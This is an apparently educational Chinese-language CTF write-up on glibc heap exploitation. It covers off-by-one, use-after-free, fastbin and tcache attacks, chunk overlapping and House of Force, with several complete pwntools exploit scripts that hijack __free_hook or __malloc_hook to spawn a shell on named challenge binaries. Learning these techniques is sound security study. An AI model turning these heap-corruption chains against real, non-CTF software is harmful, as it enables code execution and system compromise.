堆的漏洞利用

泄露libc的相关方法:

1.libc-2.27以下版本中,由于没有tcache机制,释放不与top chunk相邻的大小大于0x80的堆
会被释放到unsorted bin,此时fd = bk = main_arena + 96
2.使用mmap分配一个大内存块(>=0x200000)
3.堆中当然也可以使用常见中的栈题中的泄露libc的方法,如泄露got表
3.通过修改_IO_2_1_stdout结构体

泄露libc之后常见操作:

1.malloc_hook -> one_gadget free_hook -> system(通解)
2.realloc_hook(调整栈满足og条件)
3.通过setcontext来orw

calloc与realloc

calloc的特点不只是在分配堆块时会清空堆,并且在libc—2.27.so及以后的版本中,不会从tcache中分配堆

关于realloc的用法

1
2
3
4
size == 0 ,这个时候等同于free
realloc_ptr == 0 && size > 0 , 这个时候等同于malloc
malloc_usable_size(realloc_ptr) >= size, 这个时候等同于edit
malloc_usable_size(realloc_ptr) < szie, 这个时候才是malloc一块更大的内存,将原来的内容复制过去,再将原来的chunk给free

一.off-by-one

原理:通过溢出一个字节将下一个堆的大小改大释放从而造成uaf
off-by-one分为两种情况:
1.可以控制溢出的字节
2.只能溢出Null

可以控制溢出的字节的情况如下:

例题1.Asis CTF 2016 b00ks

虽然exp思路很清晰,但是很多地方都是通过大量的调试得出来的
book的结构

1
2
3
4
5
6
struct book{
int id;
char *name;
char *description;
char size;
}

通过find ‘a’* 32可以查看输入的name的位置,以及第一个books的位置
avatar
book的地址为:0x563c674ce150
name后面紧接着就是指向book的指针,这代表可以将0x563c674ce150改为0x563c674ce100, 接下来该怎么做?此时仔细想一下程序的功能,创建book,查看book,删除book,修改book的des(通过desp那个指针),此时不难想到,如果des是我们控制的地址就能实现任意地址读写,那怎么控制des的地址呢–>
1.一个book在另一个book的des范围内(实现不了)
2.伪造一个book,再将已有的book的地址,改为伪造的book的地址(可行)
第一个book的内容
avatar
此时第一个book中的des指针为:0x0000563c674ce040
第二步的具体操作是修改第一个book的内容为’a’* 0xC0+p64(addr)* 2+p64(0xffff)
addr填上想泄露的地址,但是这个题开了pie,任意地址读写发挥不了作用,这时就需要一个小知识点了,mmap分配的内存于libc_base之间存在固定的偏移
在本题中可以通过控制book的name以及des的大小从而使用mmap分配内存,这样就能得到了libc_base,这时就需要再创建一个book了,size可以为0x21000,然后就可以通过gdb将第一个book于第二个book的偏移量算出来,然后addr填上name的地址(addr+0x38),就能够得到libc_base
offest的计算见下图(是第一个使用mmap分配得到的内存地址)
avatar
offest = 0x00007f717c7eb010 - 0x00007f717c239000 = 0x5b2010
libc_base = 0x00007f717c7eb010 - offest
然后就可以得到one_gadget的地址,以及__free_hook的地址,此时通过任意地址写,即能get_shell
漏洞点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__ int64 __fastcall sub_9F5(_BYTE *a1, int a2)
{
int i; // [rsp+14h] [rbp-Ch]

if ( a2 <= 0 )
return 0LL;
for ( i = 0; ; ++i )
{
if ( read(0, a1, 1uLL) != 1 )
return 1LL;
if ( *a1 == 10 )
break;
++a1;
if ( i == a2 )
break;
}
*a1 = 0;//程序最多输入32个字符,但是这里又在结尾加了一个\x00字符
return 0LL;
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *
p=process("./b00ks")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def creatbook(size1,name,size2,description):

p.readuntil("> ")
p.sendline("1")
p.readuntil("size: ")
p.sendline(str(size1))
p.readuntil(": ")
p.sendline(name)
p.readuntil(": ")
p.sendline(str(size2))
p.readuntil(": ")
p.sendline(description)

def delbooks(bookid):

p.readuntil("> ")
p.sendline("2")
p.readuntil(": ")
p.sendline(str(bookid))

def editbooks(index , des):

p.readuntil(">")
p.sendline("3")
p.readuntil(":")
p.sendline(str(index))
p.readuntil(":")
p.sendline(des)

def changeauthor(name):
p.readuntil("> ")
p.sendline("5")
p.readuntil(": ")
p.sendline(str(name))

def printbook():
p.readuntil("> ")
p.sendline("4")

def release():
p.sendline("2")
log.info(p.recvuntil(":"))
p.sendline("2")

p.readuntil("name: ")
p.sendline("a"*32)

creatbook(16,"archer",256,"archer")
creatbook(0x21000,"archer",0x21000,"archer")

printbook()
a=p.recvuntil('a'*32)
addr=u64(p.recv(6).ljust(8,'\x00'))
log.success('addr:'+hex(addr))
offest=0x5b2010
payload='a'*0xC0+p64(0x1)+p64(addr+0x38)+p64(addr+0x40)+p64(0xffff)
editbooks(1,payload)

changeauthor("b"*32)
printbook()
p.recvuntil("Name: ")
book2_name=u64(p.recv(6).ljust(8,'\x00'))
p.recvuntil("Description: ")
book2_des=u64(p.recv(6).ljust(8,'\x00'))

log.info("book2_name: "+hex(book2_name))
log.info("book2_des: "+hex(book2_des))

libc_base=book2_name-offest

log.info("libc_base: "+hex(libc_base))

free_hook = libc.symbols['__free_hook'] + libc_base
one_addr=libc_base+0x4527a

log.info("free_hook: "+hex(free_hook))
log.info("one_gadget: "+hex(one_addr))

payload = p64(free_hook) * 2
editbooks(1, payload)
payload=p64(one_addr)
editbooks(2, payload)

release()
p.interactive()

off-by-null原理:当释放smallbin时会检查相邻的堆是否为已经被free的smallbin,如果是,则会合并
释放
只能溢出Null的情况,有两种利用思路

poison null byte

原理:堆布局如下
chunk a pre_size
size = 0x101
data
chunk b pre_size
size = 0x111
data
chunk c pre_size
size = 0x91
data
chunk d pre_size
size = 0x91

思路是free(b),然后edit(a)把b的size置为0x100,然后malloc(0x80)(b1)、malloc(0x40)(b2)
接着free(b1)、free(c),malloc(0x190)得到的堆就可以overlap了

house of einherjar

原理:堆布局如下
chunk a pre_size
size = 0x101
data
chunk b pre_size
size = 0x101
data
chunk c pre_size
size = 0x91
data
chunk d pre_size
size = 0x91

先free(a)、然后off-by-null把c的pre_size设为0x200,再free(c),此时malloc(0x300)就可以控制b
例题祥云杯PassWordBox_FreeVersion
2.hitcontraining_heapcreator
详情见buupwn

二.use after free

漏洞原理:当一个chunk被free掉后,如果没将对应的控制堆的指针设为NULL,这时,
通过edit函数等就可以修改它的内容
例题:ctfshow大牛杯uaf
note的结构

1
2
3
4
5
struct note{
ptr* put_content;//存放的时put(addr)的地址
ptr* free;//存放的是free(addr)的地址
ptr* content;//存放的是content的地址
}

功能:
1、addnote:
分配12个字节的内存用于存放note,ptr_content存放Value(当选择输入的内容是字符时,需要先输入size,然后malloc(size))
2、delnote
通过调用ptr* free将note释放掉,ptr* put_content的地址是free()的参数,后面能用到
3、shownote
通过调用ptr* put_content打印content中的内容

利用流程:先创建两个note,note0,和note1,然后再依次释放这两个note,再创建一个note2,分配12B的content,此时content对应的就是note0,然后就可以控制note0中的内容,put_content->’sh\x00\x00’,free(sys_addr),之后再del(0),就能得到shell了
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *

p=remote('pwn.challenge.ctf.show',28072)

def newrecord(index,length,content):
log.info(p.recvuntil('Act > '))
p.sendline('1')
log.info(p.recvuntil('Index > '))
p.sendline(str(index))
log.info(p.recvuntil('Type > '))
p.sendline('2')
log.info(p.recvuntil('Length > '))
p.sendline(str(length))
log.info(p.recvuntil('Value > '))
p.sendline(str(content))

def delrecord(index):
log.info(p.recvuntil('Act > '))
p.sendline('2')
log.info(p.recvuntil('Index > '))
p.sendline(str(index))

def showrecord(index):
print p.recvuntil('Act > ')
p.sendline('3')
print p.recvuntil('Index > ')
p.sendline(str(index))

sys_addr=0x080484F0

newrecord('0','16','aaaa')
newrecord('1','16','aaaa')

delrecord('0')
delrecord('1')

newrecord('2','12','sh\x00\x00'+p32(sys_addr))

delrecord('0')
p.interactive()

三.fastbin attack

例题1.0ctf_babyheap(堆溢出)
预备知识:当一个小于64B的bytes被释放后,会被放在fastbin中,通过单向链表连接,fastbin中的pre_in_use位始终为1。一个small chunk被释放后,会先进入unsort bin中,如果此时unsorted bin中只有一个bin,那么其fd指针会指向main_arena,main_arena与libc_base存在固定偏移,该偏移可以通过libc文件中的malloc_trim得到
流程:先通过fastbin attack泄露libc_base, 然后再依次通过fastbin attck改写malloc_hook指针对应的内容位one_gadget
本题中的fastbin attack基于堆溢出
第一部分fastbin attack:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
malloc(0x10)#chunk 0
malloc(0x10)#chunk 1
malloc(0x10)#chunk 2
malloc(0x10)#chunk 3
malloc(0x80)#chunk 4

free(1)
free(2)#此时fd指针指向chunk1为0x20

payload=p64(0)*3+p64(0x21)#覆盖1
payload+=p64(0)*3+p64(0x21)#覆盖2
payload+=p8(0x80)

fill(0,payload)

payload=p64(0)*3+p64(0x21)
fill(3,payload)

malloc(0x10)
malloc(0x10)

payload=p64(0)*3+p64(0x91)
fill(3,payload)

malloc(0x80)#防止chunk 4与top chunk连接
free(4)

dump(2)
libc_base=u64(p.recv(6).just(8,'\x00'))-offest1

第二部分

1
2
3
4
5
6
7
8
9
10
malloc(0x60)#将small chunk中的chunk放入fastbin中
free(4)
payload=libc_addr+offest2
fill(2,payload)
malloc(0x60)
malloc(0x60)
payload=p8(0)*3+p64(0)*2+p64(og_addr)
fill(6,payload)
malloc(0x10)
p.interactive()

例题2.(double free)

四.chunk extend(shrink chunk)与overlapping

chunk extend

例题1.roarctf_2019_easy_pwn

感觉roarctf_2019_easy_pwn是一个很好的例题
程序功能如下:
1.add
2.write
3.free
4.show
5.exit
功能1:可以根据用户输入的size1创建一个chunk(使用的是calloc,在分配内存时,会将chunk清0)
功能2:输入index以及size2,向index对应的chunk处填写内容,如果size2-size1=10,则可以在size2的基础上溢出一个字节
功能3:freechunk,没有uaf
功能4:简单的show功能(使用write,’\x00’不能截断输出的内容)

利用流程:创建4个chunk,然后通过 off-by-one 将一个小chunk扩大(chunk extend)到包含 small chunk 的 fd 部分(overlapping),然后free 这个 small chunk
然后在show那个小chunk,就可以泄露main-arena,然后malloc_hook=main_arena-0x68,这样就可以用LibcSearcher打远程了,然后libc_base
也就知道了,此时有两条路,一种是改malloc_hook为og(后面发现条件不满足,还需要realloc才可以),另一种是改free_hook为system或者og
接下来分三部分分析
1.泄露main_arena:
先分配了4个chunk

1
2
3
4
malloc(0x18)
malloc(0x18)
malloc(0x88)
malloc(0x88)
    只有当chunk大小末位为8时,才能溢出到下一个chunk的size部分
    chunk结构如下
1
2
3
0x00 : 0x0000000000000000 0x0000000000000021
0x10 : 0x0000000000000000 0x0000000000000000
0x20 : 0x0000000000000000 0x0000000000000021
    理解chunk后,泄露main_arena的思路就很简单了,wt(1,34,"a"* 0x18+p8(0xb1)),将第2个chunk大小改为0xb1,然后free(1)
    ,add(0xa8)(得到修改之后的大chunk),wt(1,0x20,"a"* 0x18+p64(0x91))(calloc后chunk3的size没了,free时需要恢复),free(2)(free chunk3后fd就为main_arena),show(1)

2.向malloc_hook中写og:
    还是先分配4个chunk
1
2
3
4
add(0x18)#4
add(0x28)#5
add(0x68)#6
add(0x18)#7
    先通过chunk extend使小chunk能修改较大chunk的fd,从而任意地址写,这里和第一部分差不多,不再赘述
    然后就是在malloc_hook附近伪造chunk,然后将og写到malloc中,这一部分比较麻烦,不过理解了,以后就不会再出问题了
    
    查看main_arena的指令:
        gdb-peda$ x/30gx (long long)&main_arena-0x40
    
    main_arena的结构:
1
2
3
4
0x7fd58c31aae0 <_IO_wide_data_0+288>:	0x0000000000000000	0x0000000000000000
0x7fd58c31aaf0 <_IO_wide_data_0+304>: 0x00007fd58c319260 0x0000000000000000
0x7fd58c31ab00 <__memalign_hook>: 0x00007fd58bfdbea0 0x00007fd58bfdba70
0x7fd58c31ab10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
    伪造的chunk需要满足的条件是size部分最后要为1,前面需要为0,在上面的main_arena结果中,只有一个地方能满足条件,即0x7fd58c31aaf0处,此时的size部分正好为0x000000000000007f(地址为0x7fd58c31aaf5),这也是前面分配一个chunk为0x68的原因,因此该chunk的地址为0x7fd58c31aaed(malloc_hook-0x23)
    所以后面填"a"* (0x13-8)+p64(og)+p64(realloc),不过这里需要注意的是,og填在了realloc处,malloc_hook处填的是realloc

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
from pwn import *
#from LibcSearcher import *
a=0
b=1
libc=ELF("./libc-2.23.so")
if(a==0):
p=process('./pwn')
elf=ELF('./pwn')
if(b==0):
arch = 'i386'
else:
arch = 'amd64'
#context( os = 'linux', log_level = 'debug')
else:
p=remote("node3.buuoj.cn",25084)
elf=ELF('./pwn')
if(b==0):
arch = 'i386'
else:
arch = 'amd64'
#context( os = 'linux', log_level = 'debug')

def add(size):
p.recvuntil("choice: ")
p.sendline("1")
p.recvuntil("size: ")
p.sendline(str(size))

def wt(index,size,content):
p.recvuntil("choice: ")
p.sendline("2")
p.recvuntil("index: ")
p.sendline(str(index))
p.recvuntil("size: ")
p.sendline(str(size))
p.recvuntil("content: ")
p.send(content)

def free(index):
p.recvuntil("choice: ")
p.sendline("3")
p.recvuntil("index: ")
p.sendline(str(index))

def show(index):
p.recvuntil("choice: ")
p.sendline("4")
p.recvuntil("index: ")
p.sendline(str(index))

add(0x18)#ad: 0x00 0
add(0x18)#ad: 0x20 1
add(0x88)#ad: 0x40 2
add(0x88)#ad: 0xe0 3

add(0x18)#4
add(0x28)#5
add(0x68)#6
add(0x18)#7

wt(0,34,"a"*0x18+p8(0xb1))
free(1)
add(0xa8)#1
wt(1,0x20,"a"*0x18+p64(0x91))
free(2)
show(1)

p.recvuntil("content: ")
p.recv(0x20)
ad=u64(p.recv(6).ljust(8,'\x00'))
log.info("main_arena: " +hex(ad))
malloc_hook=ad-0x68
libc_base=malloc_hook-libc.sym['__malloc_hook']
realloc=libc_base+libc.sym['__libc_realloc']
log.info("malloc_hook: "+hex(malloc_hook))
log.info("realloc_hook: "+hex(realloc))
one_gadget=libc_base+0x4527a

wt(4,34,"a"*0x18+p8(0xa1))
free(5)
free(6)
add(0x98)#2
wt(2,0x38,"b"*0x28+p64(0x71)+p64(malloc_hook-0x23))
add(0x68)#5
add(0x68)#6
wt(6,27,"a"*(0x13-8)+p64(one_gadget)+p64(realloc+16))
gdb.attach(p)
add(0x10)

p.interactive()

例题2.hitcontraining_heapcreator
详情见buupwn

chunk shrink

一般平时做题或者比赛的时候基本都是通过chunk extend来实现堆叠,但是从shrink chunk也可以实现堆叠,而且一般与
off-by-null相结合,关于shrink chunk的例题可以参考0ctf2018 heapstorm2
这里展示一下0ctf2018_heapstorm2的shrink部分
首先是这一部分的堆布局

1
2
3
4
add(0x18)#0
add(0x508)#1
add(0x18)#2
edit(1,"h"*0x4f0 + p64(0x500))

如图
avatar

1
2
delete(1)
edit(0,"a"*(0x18 - 12))

此时堆1被放到unsortedbin中,并且可以看到堆size的首字节是00
avatar
并且堆2的presize此时为0x510
现在add(0x18),会发现一件很神奇的事情,如图
avatar
原本是0x510大小的chunk改为0x500后,再分配0x18,此时的大小正好为0x4e0
此时再看这里原本是0x500的地方变成了0x4e0
avatar
这里需要仔细想一下,原因是当通过off-by-null将chunk1的size减小0x10后,chunk1的presize部分的地址上移了一部分
从堆2的presize移动到了我们伪造的那个presize = 0x500那个地方,于是当我们再分配0x4d8的chunk时,这里就会为0
此时再删除堆2,由于presize还是0x510,这样就能实现overlapping

1
2
3
4
add(0x18)#1
add(0x4d8)#7
delete(1)
delete(2)

avatar

五.tcache attack

原理

tcache_entry

1
2
3
4
5
6
7
/* We overlay this structure on the user-data portion of a chunk when
the chunk is stored in the per-thread cache. */
typedef struct tcache_entry
{
struct tcache_entry *next;
struct tcache_perthread_struct *key;
} tcache_entry;

如图
avatar
其中next表示指向同一个tcachebin中指向下一个tcache的指针(next指向的是usedata部分),
通过这个结构可以形成我们所熟悉的tcache链
tcache_perthread_struct

1
2
3
4
5
6
7
8
9
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

# define TCACHE_MAX_BINS 64

static __thread tcache_perthread_struct *tcache = NULL;

tcache是通过tcache_perthread_struct管理的,在第一次malloc时会创建一个0x290大小的堆,这个堆里面放的就是
tcache_perthread_struct结构,gdb中关于上述结构最直观的展示如下
avatar
非常直观(地址前面的空间正好对应char counts[64],后面对应entries,counts的数量最多为7)
tcache链表如下
avatar
tcachebin中malloc的实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
void *
__libc_malloc (size_t bytes)
{
......
......
#if USE_TCACHE
/* int_free also calls request2size, be careful to not pad twice. */
size_t tbytes;
// 根据 malloc 传入的参数计算 chunk 实际大小,并计算 tcache 对应的下标
checked_request2size (bytes, tbytes);
size_t tc_idx = csize2tidx (tbytes);

// 初始化 tcache
MAYBE_INIT_TCACHE ();
DIAG_PUSH_NEEDS_COMMENT;
if (tc_idx < mp_.tcache_bins // 根据 size 得到的 idx 在合法的范围内
/*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
&& tcache
&& tcache->entries[tc_idx] != NULL) // tcache->entries[tc_idx] 有 chunk
{
return tcache_get (tc_idx);
}
DIAG_POP_NEEDS_COMMENT;
#endif
......
......
}

tcache_get的实现

1
2
3
4
5
6
7
8
9
10
11
12
/* Caller must ensure that we know tc_idx is valid and there's
available chunks to remove. */
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]); // 获得一个 chunk,counts 减一
return (void *) e;
}

原理还是比较简单
接下来看看free
有tcache时的free

1
2
3
4
5
6
7
8
9
void
__libc_free (void *mem)
{
......
......
MAYBE_INIT_TCACHE ();
ar_ptr = arena_for_chunk (p);
_int_free (ar_ptr, p, 0);
}

无tcache时的free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#if USE_TCACHE
{
size_t tc_idx = csize2tidx (size);
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *) chunk2mem (p);
/* This test succeeds on double free. However, we don't 100%
trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely
coincidence before aborting. */
if (__glibc_unlikely (e->key == tcache))
{
tcache_entry *tmp;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = tmp->next)
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}
if (tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (p, tc_idx);
return;
}
}
}
#endif

tcache_put函数

1
2
3
4
5
6
7
8
9
10
11
12
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache;
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}

新的libc-2.27即以上版本加tcache_entry中加入了key用与防止doublefree,检查在int_free中

tcache之tcache dup

tcache dup类似与fastbinattack,并且比fastbinattack更容易实现,tcache可以直接free 一个bin两次,
再malloc得到他自己,此时修改fd为目标地址,tcachebin中指针的指向为他自己->目标地址
malloc一个相同大小的堆,再malloc得到的堆就是目标地址
tcache_put分配大小不大于0x408且tchche bin未满时可调用

例题1.ciscn_2019_en_3

64位,保护全开,思路先泄露libc,然后free_hook
程序一开始的第二个输入可以泄露libc
然后就是free_hook部分

1
2
3
4
5
6
7
allo(0x40,"aaaa")
allo(0x30,"/bin/sh\x00")
free(0)
free(0)#此时 0x00 -> 0x00
allo(0x40,p64(free_hook))
allo(0x40,"aaaa")
allo(0x40,p64(sys_ad))

最后完整的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
from LibcSearcher import *
from struct import pack
a=0
b=1
elf=ELF("./pwn")
libc=ELF("./libc-2.27.so")
context.os='linux'
context.arch='amd64'
#context.log_level='debug'
if(a==1):
p=process("./pwn")
else:
p=remote("node4.buuoj.cn",27518)

def allo(leng,content):
p.recvuntil(":")
p.sendline("1")
p.recvuntil("story: \n")
p.sendline(str(leng))
p.recvuntil(":")
p.sendline(content)

def free(index):
p.recvuntil(":")
p.sendline("4")
p.recvuntil(":\n")
p.sendline(str(index))

p.recvuntil("?\n")
p.send("aaaabbbb")
p.send("bbbbaaaa")
p.recvuntil("bbbbaaaa")

ad=u64(p.recv(6).ljust(8,'\x00'))
log.info("ad: "+hex(ad))
offest=0x81237
libc_base=ad-offest
log.info("libc_base"+hex(ad-offest))
#gdb.attach(p)

free_hook=libc_base+libc.sym["__free_hook"]
sys_ad=libc_base+libc.sym["system"]

allo(0x40,"aaaa")

allo(0x30,"/bin/sh\x00")
free(0)
free(0)
allo(0x40,p64(free_hook))
allo(0x40,"aaaa")
allo(0x40,p64(sys_ad))
free(1)
#gdb.attach(p)
p.interactive()

tcache之tcache poisioning

tcache poisioning和tcache dup不太一样,tcache posioning主要思路是malloc两个相同size的堆
再依次free,此时假设指针指向为,0x40->0x10,此时修改0x40这个堆的fd为目标地址,再malloc1个堆,此时再malloc得到
的堆就是目标地址的堆

tcache_bins与tcache_max_bytes

libc-2.31中malloc关于tcache_max_bytes的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#if USE_TCACHE
/* int_free also calls request2size, be careful to not pad twice. */
size_t tbytes;
if (!checked_request2size (bytes, &tbytes))
{
__set_errno (ENOMEM);
return NULL;
}
size_t tc_idx = csize2tidx (tbytes);

MAYBE_INIT_TCACHE ();

DIAG_PUSH_NEEDS_COMMENT;
if (tc_idx < mp_.tcache_bins
&& tcache
&& tcache->counts[tc_idx] > 0)
{
return tcache_get (tc_idx);
}
DIAG_POP_NEEDS_COMMENT;
#endif

mp结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
struct mp_ {
trim_threshold = 0x20000,
top_pad = 0x20000,
mmap_threshold = 0x20000,
arena_test = 0x8,
arena_max = 0x0,
n_mmaps = 0x0,
n_mmaps_max = 0x10000,
max_n_mmaps = 0x0,
no_dyn_threshold = 0x0,
mmapped_mem = 0x0,
max_mmapped_mem = 0x0,
sbrk_base = 0x555555922000 "",
tcache_bins = 0x40,
tcache_max_bytes = 0x408,
tcache_count = 0x7,
tcache_unsorted_limit = 0x0
};

tcachebin中堆的entry偏移的算法为heap_base + 0x90 + ((size - 0x20)//16)* 8
可以看到如果tc_idx < mp_.tcache_bins 则判断为tcache,并从tcache中得到chunk,将mp_.tcache_bins和tcache_max_bytes修改成一个很大的数,那么free的chunk即使为largebin大小也能当成tcachebin释放
修改mp.tcache_bins和mp.tcache_max_bytes的利用
1.首先将mp.tcache_bins和mp.tcache_max_bytes修改成很大一个数
2.释放堆,此时堆的指针就会根据堆的大小写到tcache_pthread_struct上,符合tcache大小的堆释放
3.当一个大于正常tcache_max_bytes大小的堆,free时,就会出现很大的问题,
4.本题中free的堆的大小为0x610,正常的0x20的堆的地址为0x55dd5d1c0090,对应的idx为0,
5.由于此时free的是0x600大小的堆,idx为95,对应的地址为0x55dd5d1c0090 + 0x2f8 = 0x55DD5D1C0388
6.正好对应exp中的free_hook,地址的算法为heap_base + 0x90 + ((size - 0x20)//16)* 8
通过unsortedbinattack将tcache_max_bytes改大后如图
avatar
可以看到此时tcache_max_bytes和tcache_bins非常大(反正比0x600大)
然后edit(0,把对应地址改成free_hook,再add得到这个堆填入system就可以了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import *

libc = ELF("/lib/x86_64-linux-gnu/libc-2.31.so")

p = process("./pwdPro")
context.arch = "amd64"
context.os = "linux"
#context.log_level = "debug"
def add(idx,size,con):
p.recvuntil("Input Your Choice:\n")
p.sendline("1")
p.recvuntil("Which PwdBox You Want Add:")
p.sendline(str(idx))
p.recvuntil("Input The ID You Want Save:")
p.sendline("1")
p.recvuntil("Length Of Your Pwd:")
p.sendline(str(size))
p.recvuntil("Your Pwd:")
p.sendline(con)

def edit(idx,con):
p.recvuntil("Input Your Choice:\n")
p.sendline("2")
p.recvuntil("Which PwdBox You Want Edit:")
p.sendline(str(idx))
p.sendline(con)

def show(idx):
p.recvuntil("Input Your Choice:\n")
p.sendline("3")
p.recvuntil("Which PwdBox You Want Check:")
p.sendline(str(idx))

def free(idx):
p.recvuntil("Input Your Choice:\n")
p.sendline("4")
p.recvuntil("Idx you want 2 Delete:")
p.sendline(str(idx))

def recover(idx):
p.recvuntil("Input Your Choice:\n")
p.sendline("5")
p.recvuntil("Idx you want 2 Recover:\n")
p.sendline(str(idx))

add(0,0x450,"a"*8)
p.recvuntil("Save ID:")
key = u64(p.recv(8)) ^ 0x6161616161616161
add(1,0x420,"bbbb")
free(0)
recover(0)
show(0)
p.recvuntil("Pwd is: ")
libc_base = (u64(p.recv(8))^key)
libc_base = libc_base - 112 - libc.sym["__malloc_hook"]
mp = libc_base + 0x1eb280
log.info("libc_base: " + hex(libc_base))
log.info("adddddddd: " + hex(libc_base + 0x1eb2d8 -0x20 - 4))
log.info("free_hook: " + hex(libc_base + libc.sym["__free_hook"]))
add(0,0x450,"a")
add(2,0x440,"a")
add(3,0x420,"a")

free(0)

add(4,0x600,"a")
free(2)
recover(0)
show(0)
p.recvuntil("Pwd is: ")
p.recv(0x10)
heap_ad = u64(p.recv(8))^key
log.info("heap_ad: " + hex(heap_ad))
edit(0,p64(libc_base + 0x1ec010)*2 + p64(heap_ad) + p64(libc_base + 0x1eb2d8 -0x20 - 4))

add(10,0x600,"aaa")

add(11,0x800,p64(u64("/bin/sh\x00")^key))

free(10)

edit(0,b"a"*0xe8 + p64(libc_base + libc.sym["__free_hook"]))

add(12,0x600,p64((libc_base + libc.sym["system"])^key))

free(11)

p.interactive()

tcache小trick

tcache中泄露libc一般有两种方式,第一种是释放0x400以上的堆,一种是填满smallbin范围的tcache
当题目限制了free次数时,这时这个trick就显得十分有用了,tcachedoublefree后,tcache_perthread_struct
中堆的数量为-1,此时如果再free一个范围内的堆,这个堆就能放到unsortedbin

六.House of Force

条件:
1.堆溢出可以修改top chunk的size域
2.可以自由分配chunk的大小
3.分配次数不受限制

例题1.hitcon traning lab 11

程序和一般的堆题一样,add,show,change,free,其中change存在堆溢出
程序一开始分配了一个0x10的堆块,放了两个函数指针,当我分配了0x30的堆后,此时
top chunk指向0x60处,而我们只要能将第一个0x10的堆中的指针覆盖成magic的指针就
能getflag,当我们分配-0x70的堆后,top chunk指向0x00处,此时当我们再分配一
个0x10的chunk,就能覆盖原来的chunk,就能够getflag了,至于为什么是-0x70,
而不是-0x60或者-0x80是因为,我们要读写的地方在0x10处,则head部分必在0x00
或者之前,当head部分在0x00时,topchunk也应为0x00
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
from LibcSearcher import *
from struct import pack
a=1
b=1
elf=ELF("./pwn")
libc=ELF("./libc-2.23.so")
context.os='linux'
context.arch='i386'
context.log_level='debug'
if(a==1):
p=process("./pwn")
else:
p=remote("node4.buuoj.cn",26413)

def allo(leng,name):
p.recvuntil(":")
p.sendline("2")
p.recvuntil(":")
p.sendline(str(leng))
p.recvuntil(":")
p.send(name)

def show():
p.recvuntil(":")
p.sendline("1")

def change(index,leng,content):
p.recvuntil(":")
p.sendline("3")
p.recvuntil(":")
p.sendline(str(index))
p.recvuntil(":")
p.sendline(str(leng))
p.recvuntil(":")
p.send(content)

def free(index):
p.recvuntil(":")
p.sendline("4")
p.recvuntil(":")
p.sendline(str(index))

magic=0x400D49
allo(0x30,"aaaa")
payload="a"*0x30+p64(0)+p64(0xffffffffffffffff)
change(0,0x40,payload)
offest=-0x70
allo(offest,"bbbb")
allo(0x10,p64(magic)*2)
#gdb.attach(p)
p.interactive()

unlink一般发生在堆快合并中,分为前向合并和后向合并,主要与当前free的chunk的pre_in_use有关

libc-2.28及以下版本

原理:低版本下对于presize仅有一个检查,很容易绕过,保证presize和p -> size相同就行

1
2
3
4
5
6
7
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}

